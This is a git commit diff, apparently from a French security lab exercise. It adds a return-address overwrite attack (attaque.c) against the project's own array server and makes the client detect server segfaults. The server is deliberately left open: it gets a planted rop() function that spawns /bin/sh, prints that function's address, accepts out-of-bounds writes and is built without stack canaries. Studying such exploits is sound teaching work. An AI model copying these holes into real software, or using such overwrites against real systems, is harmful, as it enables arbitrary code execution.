Première attaque en connaissant l'adresse d'une fonction + détection des segfault serveur par le client
This commit is contained in:
parent
f3f0dd37d9
commit
6399fbda0f
4 changed files with 141 additions and 128 deletions
54
Makefile
54
Makefile
|
@ -1,81 +1,63 @@
|
||||||
default:
|
default:
|
||||||
@echo "Usage : [ 64b | 64b_nocanary | 32b | 32b_nocanary ]"
|
@echo "Usage : [ 64b | 64b_nocanary | 32b | 32b_nocanary ]"
|
||||||
|
|
||||||
64b: clean_serv_client serv64b client64b attaque
|
64b: clean_serv serv64b client attaque
|
||||||
64b_nocanary: clean_serv_client serv64b_nocanary client64b attaque
|
64b_nocanary: clean_serv serv64b_nocanary client attaque
|
||||||
32b: clean_serv_client serv32b client32b attaque
|
32b: clean_serv serv32b client attaque
|
||||||
32b_nocanary: clean_serv_client serv32b_nocanary client32b attaque
|
32b_nocanary: clean_serv serv32b_nocanary client attaque
|
||||||
|
|
||||||
attaque: attaque.c
|
attaque: attaque.c
|
||||||
@echo "######################################"
|
@echo "######################################"
|
||||||
@echo "# Compilation du programme ATTAQUANT #"
|
@echo "# Compilation du programme ATTAQUANT #"
|
||||||
@echo "######################################"
|
@echo "######################################"
|
||||||
@echo ""
|
gcc -Wall -g attaque.c -o attaque
|
||||||
gcc -Wall attaque.c -o attaque
|
|
||||||
@echo ""
|
|
||||||
@echo ""
|
@echo ""
|
||||||
|
|
||||||
serv64b: serveur.c
|
serv64b: serveur.c
|
||||||
@echo "######################################"
|
@echo "######################################"
|
||||||
@echo "####### Compilation du SERVEUR #######"
|
@echo "####### Compilation du SERVEUR #######"
|
||||||
@echo "######################################"
|
@echo "######################################"
|
||||||
@echo ""
|
gcc -Wall -g serveur.c -o serveur
|
||||||
gcc -Wall serveur.c -o serveur
|
|
||||||
@echo ""
|
|
||||||
@echo ""
|
@echo ""
|
||||||
|
|
||||||
client64b: client.c
|
client: client.c
|
||||||
@echo "######################################"
|
@echo "######################################"
|
||||||
@echo "####### Compilation du CLIENT #######"
|
@echo "####### Compilation du CLIENT #######"
|
||||||
@echo "######################################"
|
@echo "######################################"
|
||||||
@echo ""
|
gcc -Wall -g client.c -o client
|
||||||
gcc -Wall client.c -o client
|
|
||||||
@echo ""
|
|
||||||
@echo ""
|
@echo ""
|
||||||
|
|
||||||
serv32b: serveur.c
|
serv32b: serveur.c
|
||||||
@echo "######################################"
|
@echo "######################################"
|
||||||
@echo "# Compilation du SERVEUR en 32 bits #"
|
@echo "# Compilation du SERVEUR en 32 bits #"
|
||||||
@echo "######################################"
|
@echo "######################################"
|
||||||
@echo ""
|
gcc -Wall -g -m32 serveur.c -o serveur
|
||||||
gcc -Wall -m32 serveur.c -o serveur
|
|
||||||
@echo ""
|
|
||||||
@echo ""
|
|
||||||
|
|
||||||
client32b: client.c
|
|
||||||
@echo "######################################"
|
|
||||||
@echo "## Compilation du CLIENT en 32 bits ##"
|
|
||||||
@echo "######################################"
|
|
||||||
@echo ""
|
|
||||||
gcc -Wall -m32 client.c -o client
|
|
||||||
@echo ""
|
|
||||||
@echo ""
|
@echo ""
|
||||||
|
|
||||||
serv64b_nocanary: serveur.c
|
serv64b_nocanary: serveur.c
|
||||||
@echo "######################################"
|
@echo "######################################"
|
||||||
@echo "# Compilation du SERVEUR sans Canary #"
|
@echo "# Compilation du SERVEUR sans Canary #"
|
||||||
@echo "######################################"
|
@echo "######################################"
|
||||||
@echo ""
|
gcc -Wall -g -fno-stack-protector serveur.c -o serveur
|
||||||
gcc -Wall -fno-stack-protector serveur.c -o serveur
|
|
||||||
@echo ""
|
|
||||||
@echo ""
|
@echo ""
|
||||||
|
|
||||||
serv32b_nocanary: serveur.c
|
serv32b_nocanary: serveur.c
|
||||||
@echo "#################################################"
|
@echo "#################################################"
|
||||||
@echo "# Compilation du SERVEUR en 32 bits sans Canary #"
|
@echo "# Compilation du SERVEUR en 32 bits sans Canary #"
|
||||||
@echo "#################################################"
|
@echo "#################################################"
|
||||||
@echo ""
|
gcc -Wall -g -m32 -fno-stack-protector serveur.c -o serveur
|
||||||
gcc -Wall -m32 -fno-stack-protector serveur.c -o serveur
|
|
||||||
@echo ""
|
|
||||||
@echo ""
|
@echo ""
|
||||||
|
|
||||||
edit:
|
edit:
|
||||||
pluma serveur.c client.c Attaque.c &
|
pluma serveur.c client.c attaque.c &
|
||||||
|
|
||||||
clean_attack:
|
clean_attack:
|
||||||
@rm -f attaque
|
@rm -f attaque
|
||||||
|
|
||||||
clean_serv_client:
|
clean_serv:
|
||||||
@rm -f client serveur
|
@rm -f serveur
|
||||||
|
|
||||||
clean: clean_attack clean_serv_client
|
clean_client:
|
||||||
|
@rm -f client
|
||||||
|
|
||||||
|
clean: clean_attack clean_serv clean_client
|
||||||
|
|
73
attaque.c
73
attaque.c
|
@ -3,25 +3,45 @@
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
|
||||||
#define LATENCE 10000
|
|
||||||
#define FUNCTION usleep
|
|
||||||
#define SIZE_BUFF 228
|
|
||||||
|
|
||||||
char prog_name[100];
|
/**
|
||||||
|
* Lance un client, exécute une commande, puis quitte le client
|
||||||
|
* @param host L'adresse du serveur
|
||||||
|
* @param port Le port sur lequel se connecter
|
||||||
|
* @param cmd La commande à exécuter
|
||||||
|
* @return Le statut du client
|
||||||
|
*/
|
||||||
|
int runClientWithCommand(char *host, char *port, char *cmd) {
|
||||||
|
// Démarrage du client
|
||||||
|
char prog_name[100];
|
||||||
|
sprintf(prog_name, "./client %s %s", host, port);
|
||||||
|
|
||||||
void runClientWithCommand(char *cmd) {
|
// Récupération de l'entrée standard
|
||||||
FILE *prog = popen(prog_name, "w");
|
FILE *prog = popen(prog_name, "w");
|
||||||
FUNCTION(LATENCE);
|
usleep(1000);
|
||||||
if (prog == NULL) {
|
if (prog == NULL) {
|
||||||
printf("ERREUR\n");
|
printf("ERREUR\n");
|
||||||
return;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Écriture de la commande
|
||||||
fprintf(prog, "%s", cmd);
|
fprintf(prog, "%s", cmd);
|
||||||
printf("%s", cmd);
|
printf("%s", cmd);
|
||||||
FUNCTION(LATENCE);
|
|
||||||
|
usleep(1000);
|
||||||
|
|
||||||
|
// Fermeture du client
|
||||||
fprintf(prog, "QUIT\n");
|
fprintf(prog, "QUIT\n");
|
||||||
printf("QUIT\n");
|
printf("QUIT\n");
|
||||||
pclose(prog);
|
return pclose(prog);
|
||||||
|
}
|
||||||
|
|
||||||
|
void hackServer(char *host, char *port, long addr) {
|
||||||
|
printf("-- Écrasement de l'adresse de retour par %p --\n", (void *) addr);
|
||||||
|
char buf[100];
|
||||||
|
// L'index 134 du tableau correspond à l'adresse de retour
|
||||||
|
sprintf(buf, "WRITE %ld 134\n", addr);
|
||||||
|
runClientWithCommand(host, port, buf);
|
||||||
}
|
}
|
||||||
|
|
||||||
int main(int argc, char *argv[]) {
|
int main(int argc, char *argv[]) {
|
||||||
|
@ -34,31 +54,18 @@ int main(int argc, char *argv[]) {
|
||||||
printf("Usage : ./attaque addresseServeur portServeur\n");
|
printf("Usage : ./attaque addresseServeur portServeur\n");
|
||||||
return 3;
|
return 3;
|
||||||
}
|
}
|
||||||
sprintf(prog_name, "./client %s %s", argv[1], argv[2]);
|
|
||||||
|
|
||||||
// On ecrit 100 a l'index 2
|
// Adresse à modifier avec l'adresse d'une fonction du serveur
|
||||||
printf("-- Write --\n");
|
long address = 0xffffffff;
|
||||||
runClientWithCommand("WRITE 100 2\n");
|
hackServer(argv[1], argv[2], address);
|
||||||
|
|
||||||
// On affiche la valeur a l'index 1
|
// long begin = 1448463905;
|
||||||
printf("-- Read --\n");
|
// long end = 1449434657;
|
||||||
runClientWithCommand("READ 1\n");
|
// printf("testing %ld possibilities...\n", end - begin);
|
||||||
|
//
|
||||||
|
// for (long addr = begin; addr < end; ++addr) {
|
||||||
|
// runClient(argv[1], argv[2], addr);
|
||||||
|
// }
|
||||||
|
|
||||||
// On affiche le tableau sur le serveur
|
return 0;
|
||||||
printf("-- Print --\n");
|
|
||||||
runClientWithCommand("PRINT\n");
|
|
||||||
|
|
||||||
// TODO
|
|
||||||
// // On hack pour RESET
|
|
||||||
// printf("-- Hack --\n");
|
|
||||||
// char buff[SIZE_BUFF + 1];
|
|
||||||
// int i;
|
|
||||||
// for (i=0; i<(SIZE_BUFF / 4); i++) {
|
|
||||||
// buff[(i*4)] = 0xef;
|
|
||||||
// buff[(i*4) + 1] = 0xca;
|
|
||||||
// buff[(i*4) + 2] = 0x5c;
|
|
||||||
// buff[(i*4) + 3] = 0x56;
|
|
||||||
// }
|
|
||||||
// buff[SIZE_BUFF] = '\0';
|
|
||||||
// runClientWithCommand(buff);
|
|
||||||
}
|
}
|
||||||
|
|
76
client.c
76
client.c
|
@ -17,8 +17,8 @@
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
int main (int argc, char * argv[]) {
|
int main(int argc, char *argv[]) {
|
||||||
|
|
||||||
if (argc != 3) {
|
if (argc != 3) {
|
||||||
printf("ERREUR : Usage : ./client AdresseServeur N°Port\n");
|
printf("ERREUR : Usage : ./client AdresseServeur N°Port\n");
|
||||||
exit(2);
|
exit(2);
|
||||||
|
@ -39,99 +39,109 @@ int main (int argc, char * argv[]) {
|
||||||
|
|
||||||
if (hoststruct == NULL) {
|
if (hoststruct == NULL) {
|
||||||
printf("ERREUR lors de la recherche de l'adresse IP du target\n");
|
printf("ERREUR lors de la recherche de l'adresse IP du target\n");
|
||||||
exit(1);
|
exit(2);
|
||||||
}
|
}
|
||||||
|
|
||||||
memcpy((char *) &(addr_target.sin_addr.s_addr), hoststruct->h_addr, hoststruct->h_length);
|
memcpy((char *) &(addr_target.sin_addr.s_addr), hoststruct->h_addr, hoststruct->h_length);
|
||||||
|
|
||||||
int retour_connexion;
|
int retour_connexion;
|
||||||
//On fait de demande de connextion au socket target
|
//On fait de demande de connextion au socket target
|
||||||
retour_connexion = connect(sock, (struct sockaddr *)&addr_target, sizeof(struct sockaddr_in));
|
retour_connexion = connect(sock, (struct sockaddr *) &addr_target, sizeof(struct sockaddr_in));
|
||||||
if (retour_connexion == -1){
|
if (retour_connexion == -1) {
|
||||||
printf("ERREUR lors de la demande de connexion\n");
|
printf("ERREUR lors de la demande de connexion\n");
|
||||||
exit(1);
|
exit(3);
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("Que souhaitez vous faire : \n - READ 'index'\n - WRITE 'value' 'index'\n - ADD 'index1' 'index2' 'index3'\n - SUB 'index1' 'index2' 'index3'\n - MUL 'index1' 'index2' 'index3'\n - DIV 'index1' 'index2' 'index3'\n - LOWER 'index1' 'index2'\n - EQUAL 'index1' 'index2'\n - PRINT\n - QUIT\n");
|
printf("Que souhaitez vous faire : \n - READ 'index'\n - WRITE 'value' 'index'\n - ADD 'index1' 'index2' 'index3'\n - SUB 'index1' 'index2' 'index3'\n - MUL 'index1' 'index2' 'index3'\n - DIV 'index1' 'index2' 'index3'\n - LOWER 'index1' 'index2'\n - EQUAL 'index1' 'index2'\n - PRINT\n - QUIT\n");
|
||||||
|
|
||||||
int cont = 1;
|
while (1) {
|
||||||
while (cont) {
|
// Test si le serveur a crash
|
||||||
// Test si le serveur a crash
|
|
||||||
usleep(100000);
|
usleep(100000);
|
||||||
int oldflag = fcntl(sock, F_GETFL);
|
int oldflag = fcntl(sock, F_GETFL);
|
||||||
char buff2[40] = "\0";
|
char buff2[40] = "\0";
|
||||||
fcntl(sock, F_SETFL, oldflag | O_NONBLOCK);
|
fcntl(sock, F_SETFL, oldflag | O_NONBLOCK);
|
||||||
if ((int)read(sock, buff2, 40) == 0) {
|
if ((int) read(sock, buff2, 40) == 0) {
|
||||||
printf("\nSERVEUR KO\n\n");
|
printf("--- Socket closed ---\n");
|
||||||
close(sock);
|
close(sock);
|
||||||
exit(-1);
|
exit(0);
|
||||||
|
} else if (strcmp(buff2, "SEGFAULT") == 0) {
|
||||||
|
printf("--- Segfault in server ---\n");
|
||||||
|
close(sock);
|
||||||
|
exit(4);
|
||||||
}
|
}
|
||||||
fcntl(sock, F_SETFL, oldflag);
|
fcntl(sock, F_SETFL, oldflag);
|
||||||
|
|
||||||
// Lecture de la requette
|
// Lecture de la requette
|
||||||
char requette[40];
|
char requete[40];
|
||||||
fgets(requette, 40, stdin);
|
fgets(requete, 40, stdin);
|
||||||
char req[10] = "\0";
|
char req[10] = "\0";
|
||||||
int param1 = -1;
|
int param1 = -1;
|
||||||
int param2 = -1;
|
int param2 = -1;
|
||||||
int param3 = -1;
|
int param3 = -1;
|
||||||
sscanf(requette, "%s %d %d %d", req, ¶m1, ¶m2, ¶m3);
|
sscanf(requete, "%s %d %d %d", req, ¶m1, ¶m2, ¶m3);
|
||||||
|
|
||||||
// Traitement de la requette
|
// Traitement de la requette
|
||||||
char buff[40] = "\0";
|
char buff[40] = "\0";
|
||||||
int nb_octets_envoyes;
|
int nb_octets_envoyes;
|
||||||
if (!strcmp(req, "READ")) {
|
if (!strcmp(req, "READ") || !strcmp(req, "read")) {
|
||||||
if (param1 < 0) {
|
if (param1 < 0) {
|
||||||
printf("ERROR SYNTAX\n");
|
printf("ERROR SYNTAX\n");
|
||||||
} else {
|
} else {
|
||||||
sprintf(buff, "r.%d.0.0", param1);
|
sprintf(buff, "r.%d.0.0", param1);
|
||||||
nb_octets_envoyes = send(sock, buff, strlen(buff), 0);
|
nb_octets_envoyes = send(sock, buff, strlen(buff), 0);
|
||||||
printf("nb_octets_envoyes = %d\n", nb_octets_envoyes);
|
printf("nb_octets_envoyes = %d\n", nb_octets_envoyes);
|
||||||
read(sock, buff, 40);
|
int bytesRead = read(sock, buff, 40);
|
||||||
printf("Tableau[%d] = %s\n", param1, buff);
|
if (bytesRead > 0) {
|
||||||
|
int val;
|
||||||
|
printf("%s\n", buff);
|
||||||
|
sscanf(buff, "%d", &val);
|
||||||
|
printf("Tableau[%d] = %d\n", param1, val);
|
||||||
|
} else {
|
||||||
|
printf("Erreur lors du read\n");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else if (!strcmp(req, "WRITE")) {
|
} else if (!strcmp(req, "WRITE") || !strcmp(req, "write")) {
|
||||||
if (param2 < 0) {
|
if (param2 < 0) {
|
||||||
printf("ERROR SYNTAX\n");
|
printf("ERROR SYNTAX\n");
|
||||||
} else {
|
} else {
|
||||||
sprintf(buff, "w.%d.%d.0", param1, param2);
|
sprintf(buff, "w.%d.%d.0", param1, param2);
|
||||||
send(sock, buff, strlen(buff), 0);
|
send(sock, buff, strlen(buff), 0);
|
||||||
}
|
}
|
||||||
} else if (!strcmp(req, "ADD")) {
|
} else if (!strcmp(req, "ADD") || !strcmp(req, "add")) {
|
||||||
if (param1 < 0 || param2 < 0 || param3 < 0) {
|
if (param1 < 0 || param2 < 0 || param3 < 0) {
|
||||||
printf("ERROR SYNTAX\n");
|
printf("ERROR SYNTAX\n");
|
||||||
} else {
|
} else {
|
||||||
sprintf(buff, "a.%d.%d.%d", param1, param2, param3);
|
sprintf(buff, "a.%d.%d.%d", param1, param2, param3);
|
||||||
send(sock, buff, strlen(buff), 0);
|
send(sock, buff, strlen(buff), 0);
|
||||||
}
|
}
|
||||||
} else if (!strcmp(req, "SUB")) {
|
} else if (!strcmp(req, "SUB") || !strcmp(req, "sub")) {
|
||||||
if (param1 < 0 || param2 < 0 || param3 < 0) {
|
if (param1 < 0 || param2 < 0 || param3 < 0) {
|
||||||
printf("ERROR SYNTAX\n");
|
printf("ERROR SYNTAX\n");
|
||||||
} else {
|
} else {
|
||||||
sprintf(buff, "s.%d.%d.%d", param1, param2, param3);
|
sprintf(buff, "s.%d.%d.%d", param1, param2, param3);
|
||||||
send(sock, buff, strlen(buff), 0);
|
send(sock, buff, strlen(buff), 0);
|
||||||
}
|
}
|
||||||
} else if (!strcmp(req, "MUL")) {
|
} else if (!strcmp(req, "MUL") || !strcmp(req, "mul")) {
|
||||||
if (param1 < 0 || param2 < 0 || param3 < 0) {
|
if (param1 < 0 || param2 < 0 || param3 < 0) {
|
||||||
printf("ERROR SYNTAX\n");
|
printf("ERROR SYNTAX\n");
|
||||||
} else {
|
} else {
|
||||||
sprintf(buff, "m.%d.%d.%d", param1, param2, param3);
|
sprintf(buff, "m.%d.%d.%d", param1, param2, param3);
|
||||||
send(sock, buff, strlen(buff), 0);
|
send(sock, buff, strlen(buff), 0);
|
||||||
}
|
}
|
||||||
} else if (!strcmp(req, "DIV")) {
|
} else if (!strcmp(req, "DIV") || !strcmp(req, "div")) {
|
||||||
if (param1 < 0 || param2 < 0 || param3 < 0) {
|
if (param1 < 0 || param2 < 0 || param3 < 0) {
|
||||||
printf("ERROR SYNTAX\n");
|
printf("ERROR SYNTAX\n");
|
||||||
} else {
|
} else {
|
||||||
sprintf(buff, "d.%d.%d.%d", param1, param2, param3);
|
sprintf(buff, "d.%d.%d.%d", param1, param2, param3);
|
||||||
send(sock, buff, strlen(buff), 0);
|
send(sock, buff, strlen(buff), 0);
|
||||||
}
|
}
|
||||||
} else if (!strcmp(req, "LOWER")) {
|
} else if (!strcmp(req, "LOWER") || !strcmp(req, "lower")) {
|
||||||
if (param1 < 0 || param2 < 0) {
|
if (param1 < 0 || param2 < 0) {
|
||||||
printf("ERROR SYNTAX\n");
|
printf("ERROR SYNTAX\n");
|
||||||
} else {
|
} else {
|
||||||
sprintf(buff, "l.%d.%d.0", param1, param2);
|
sprintf(buff, "l.%d.%d.0", param1, param2);
|
||||||
send(sock, buff, strlen(buff), 0);
|
send(sock, buff, strlen(buff), 0);
|
||||||
|
|
||||||
char retour[2];
|
char retour[2];
|
||||||
read(sock, retour, 2);
|
read(sock, retour, 2);
|
||||||
char res[6];
|
char res[6];
|
||||||
|
@ -144,13 +154,13 @@ int main (int argc, char * argv[]) {
|
||||||
}
|
}
|
||||||
printf("Tableau[%d] < Tableau[%d] => %s\n", param1, param2, res);
|
printf("Tableau[%d] < Tableau[%d] => %s\n", param1, param2, res);
|
||||||
}
|
}
|
||||||
} else if (!strcmp(req, "EQUAL")) {
|
} else if (!strcmp(req, "EQUAL") || !strcmp(req, "equal")) {
|
||||||
if (param1 < 0 || param2 < 0) {
|
if (param1 < 0 || param2 < 0) {
|
||||||
printf("ERROR SYNTAX\n");
|
printf("ERROR SYNTAX\n");
|
||||||
} else {
|
} else {
|
||||||
sprintf(buff, "e.%d.%d.0", param1, param2);
|
sprintf(buff, "e.%d.%d.0", param1, param2);
|
||||||
send(sock, buff, strlen(buff), 0);
|
send(sock, buff, strlen(buff), 0);
|
||||||
|
|
||||||
char retour[2];
|
char retour[2];
|
||||||
read(sock, retour, 2);
|
read(sock, retour, 2);
|
||||||
char res[6];
|
char res[6];
|
||||||
|
@ -163,20 +173,16 @@ int main (int argc, char * argv[]) {
|
||||||
}
|
}
|
||||||
printf("Tableau[%d] == Tableau[%d] => %s\n", param1, param2, res);
|
printf("Tableau[%d] == Tableau[%d] => %s\n", param1, param2, res);
|
||||||
}
|
}
|
||||||
} else if (!strcmp(req, "PRINT")) {
|
} else if (!strcmp(req, "PRINT") || !strcmp(req, "print")) {
|
||||||
sprintf(buff, "p.0.0.0");
|
sprintf(buff, "p.0.0.0");
|
||||||
send(sock, buff, strlen(buff), 0);
|
send(sock, buff, strlen(buff), 0);
|
||||||
} else if (!strcmp(req, "QUIT")) {
|
} else if (!strcmp(req, "QUIT") || !strcmp(req, "quit")) {
|
||||||
sprintf(buff, "q.0.0.0");
|
sprintf(buff, "q.0.0.0");
|
||||||
send(sock, buff, strlen(buff), 0);
|
send(sock, buff, strlen(buff), 0);
|
||||||
cont = 0;
|
|
||||||
} else {
|
} else {
|
||||||
printf("SYNTAX ERROR\n");
|
printf("SYNTAX ERROR\n");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
close(sock);
|
|
||||||
return 0;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
66
serveur.c
66
serveur.c
|
@ -35,12 +35,12 @@
|
||||||
struct proc {
|
struct proc {
|
||||||
int pid;
|
int pid;
|
||||||
int sock;
|
int sock;
|
||||||
struct proc * next;
|
struct proc *next;
|
||||||
};
|
};
|
||||||
|
|
||||||
struct proc_list {
|
struct proc_list {
|
||||||
int size;
|
int size;
|
||||||
struct proc * first;
|
struct proc *first;
|
||||||
};
|
};
|
||||||
|
|
||||||
struct proc_list new_list() {
|
struct proc_list new_list() {
|
||||||
|
@ -48,43 +48,43 @@ struct proc_list new_list() {
|
||||||
return liste;
|
return liste;
|
||||||
}
|
}
|
||||||
|
|
||||||
void add_proc(struct proc_list * l, int pid, int sock) {
|
void add_proc(struct proc_list *l, int pid, int sock) {
|
||||||
l->size++;
|
l->size++;
|
||||||
struct proc * p = (struct proc *) malloc(sizeof(struct proc));
|
struct proc *p = (struct proc *) malloc(sizeof(struct proc));
|
||||||
p->pid = pid;
|
p->pid = pid;
|
||||||
p->sock = sock;
|
p->sock = sock;
|
||||||
p->next = l->first;
|
p->next = l->first;
|
||||||
l->first = p;
|
l->first = p;
|
||||||
}
|
}
|
||||||
|
|
||||||
int get_sock_and_remove_proc(struct proc_list * l, int pid) {
|
int get_sock_and_remove_proc(struct proc_list *l, int pid) {
|
||||||
int sock = -1;
|
int sock = -1;
|
||||||
if (l->size == 0) {
|
if (l->size == 0) {
|
||||||
printf("Erreur : Liste vide.\n");
|
printf("Erreur : Liste vide.\n");
|
||||||
} else if (l->first->pid == pid) {
|
} else if (l->first->pid == pid) {
|
||||||
struct proc * aux = l->first;
|
struct proc *aux = l->first;
|
||||||
l->size--;
|
l->size--;
|
||||||
l->first = aux->next;
|
l->first = aux->next;
|
||||||
sock = aux->sock;
|
sock = aux->sock;
|
||||||
free(aux);
|
free(aux);
|
||||||
} else {
|
} else {
|
||||||
struct proc * aux = l->first;
|
struct proc *aux = l->first;
|
||||||
while (aux->next != NULL && aux->next->pid != pid) {
|
while (aux->next != NULL && aux->next->pid != pid) {
|
||||||
aux = aux->next;
|
aux = aux->next;
|
||||||
}
|
}
|
||||||
if (aux->next->pid == pid) {
|
if (aux->next->pid == pid) {
|
||||||
struct proc * aux2 = aux->next;
|
struct proc *aux2 = aux->next;
|
||||||
l->size--;
|
l->size--;
|
||||||
aux->next = aux2->next;
|
aux->next = aux2->next;
|
||||||
sock = aux2->sock;
|
sock = aux2->sock;
|
||||||
free(aux2);
|
free(aux2);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return sock;
|
return sock;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct proc * get_first(struct proc_list * l) {
|
struct proc *get_first(struct proc_list *l) {
|
||||||
struct proc * rt = NULL;
|
struct proc *rt = NULL;
|
||||||
if (l->size != 0) {
|
if (l->size != 0) {
|
||||||
rt = l->first;
|
rt = l->first;
|
||||||
l->size--;
|
l->size--;
|
||||||
|
@ -94,7 +94,7 @@ struct proc * get_first(struct proc_list * l) {
|
||||||
}
|
}
|
||||||
|
|
||||||
struct proc_list liste;
|
struct proc_list liste;
|
||||||
|
|
||||||
//
|
//
|
||||||
// FIN GESTION DES FILS
|
// FIN GESTION DES FILS
|
||||||
//
|
//
|
||||||
|
@ -103,15 +103,26 @@ int main_sock;
|
||||||
|
|
||||||
void handle_sigsegv(int signum) {
|
void handle_sigsegv(int signum) {
|
||||||
fprintf(stderr, "Signal SIGSEGV (%d) received : SEG FAULT\n", signum);
|
fprintf(stderr, "Signal SIGSEGV (%d) received : SEG FAULT\n", signum);
|
||||||
_exit(0);
|
exit(134); // 134 est le code de retour habituel en cas de segfault
|
||||||
}
|
}
|
||||||
|
|
||||||
void handle_sigchild(int signum) {
|
void handle_sigchild(int signum) {
|
||||||
int pid = wait(NULL);
|
// Attente de l'arrêt du fils et récupération du code de retour
|
||||||
//printf("Processus %d terminé\n", pid);
|
int status;
|
||||||
|
int pid = wait(&status);
|
||||||
|
int retCode = WEXITSTATUS(status);
|
||||||
|
|
||||||
|
// Récupération du socket
|
||||||
int sock = get_sock_and_remove_proc(&liste, pid);
|
int sock = get_sock_and_remove_proc(&liste, pid);
|
||||||
//printf("Retour shutdowm = %d\n", shutdown(sock, SHUT_RDWR));
|
|
||||||
//printf("Retour close = %d\n", close(sock));
|
// Envoi de l'info de Segfault au client
|
||||||
|
if (retCode == 134) {
|
||||||
|
char buf[40] = "SEGFAULT";
|
||||||
|
write(sock, buf, strlen(buf));
|
||||||
|
printf("SEGFAULT envoyé\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fermeture du socket
|
||||||
shutdown(sock, SHUT_RDWR);
|
shutdown(sock, SHUT_RDWR);
|
||||||
close(sock);
|
close(sock);
|
||||||
}
|
}
|
||||||
|
@ -123,7 +134,7 @@ void handle_sigint(int signum) {
|
||||||
exit(-1);
|
exit(-1);
|
||||||
}
|
}
|
||||||
|
|
||||||
struct proc * rt = get_first(&liste);
|
struct proc *rt = get_first(&liste);
|
||||||
while (rt != NULL) {
|
while (rt != NULL) {
|
||||||
shutdown(rt->sock, SHUT_RDWR);
|
shutdown(rt->sock, SHUT_RDWR);
|
||||||
close(rt->sock);
|
close(rt->sock);
|
||||||
|
@ -245,7 +256,13 @@ void process(int sock) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Fonction que l'on veut appeler en écrivant son adresse dans la pile
|
||||||
|
void rop() {
|
||||||
|
printf("Exploit successful!\n");
|
||||||
|
system("/bin/sh");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
int main(int argc, char *argv[]) {
|
int main(int argc, char *argv[]) {
|
||||||
if (argc != 2) {
|
if (argc != 2) {
|
||||||
|
@ -261,13 +278,13 @@ int main(int argc, char *argv[]) {
|
||||||
|
|
||||||
// install a handler for SIGCHLD in a part of your code
|
// install a handler for SIGCHLD in a part of your code
|
||||||
if (signal(SIGCHLD, &handle_sigchild) == SIG_ERR) {
|
if (signal(SIGCHLD, &handle_sigchild) == SIG_ERR) {
|
||||||
fprintf(stderr, "Could not install SIGSEGV handler");
|
fprintf(stderr, "Could not install SIGCHLD handler");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
// install a handler for SIGINT in a part of your code
|
// install a handler for SIGINT in a part of your code
|
||||||
if (signal(SIGINT, &handle_sigint) == SIG_ERR) {
|
if (signal(SIGINT, &handle_sigint) == SIG_ERR) {
|
||||||
fprintf(stderr, "Could not install SIGSEGV handler");
|
fprintf(stderr, "Could not install SIGINT handler");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -287,10 +304,9 @@ int main(int argc, char *argv[]) {
|
||||||
addr_local.sin_addr.s_addr = INADDR_ANY;
|
addr_local.sin_addr.s_addr = INADDR_ANY;
|
||||||
|
|
||||||
// On bind l'adresse du socket créee avec le socket local
|
// On bind l'adresse du socket créee avec le socket local
|
||||||
binder =
|
binder = bind(main_sock, (struct sockaddr *) &addr_local, sizeof(struct sockaddr_in));
|
||||||
bind(main_sock, (struct sockaddr *) &addr_local, sizeof(struct sockaddr_in));
|
|
||||||
if (binder == -1) {
|
if (binder == -1) {
|
||||||
printf("ERREUR lors du bind du socket\n");
|
perror("ERREUR lors du bind du socket");
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -310,6 +326,8 @@ int main(int argc, char *argv[]) {
|
||||||
int nb_connexions = 0;
|
int nb_connexions = 0;
|
||||||
|
|
||||||
printf("CTRL+C pour terminer\n");
|
printf("CTRL+C pour terminer\n");
|
||||||
|
|
||||||
|
printf("addresse de rop() : %ld\n", (long) &rop);
|
||||||
while (pid != 0) {
|
while (pid != 0) {
|
||||||
|
|
||||||
int sock_connexion = accept(main_sock, (struct sockaddr *) &addr_em, &longueur_addr_em);
|
int sock_connexion = accept(main_sock, (struct sockaddr *) &addr_em, &longueur_addr_em);
|
||||||
|
|
Loading…
Reference in a new issue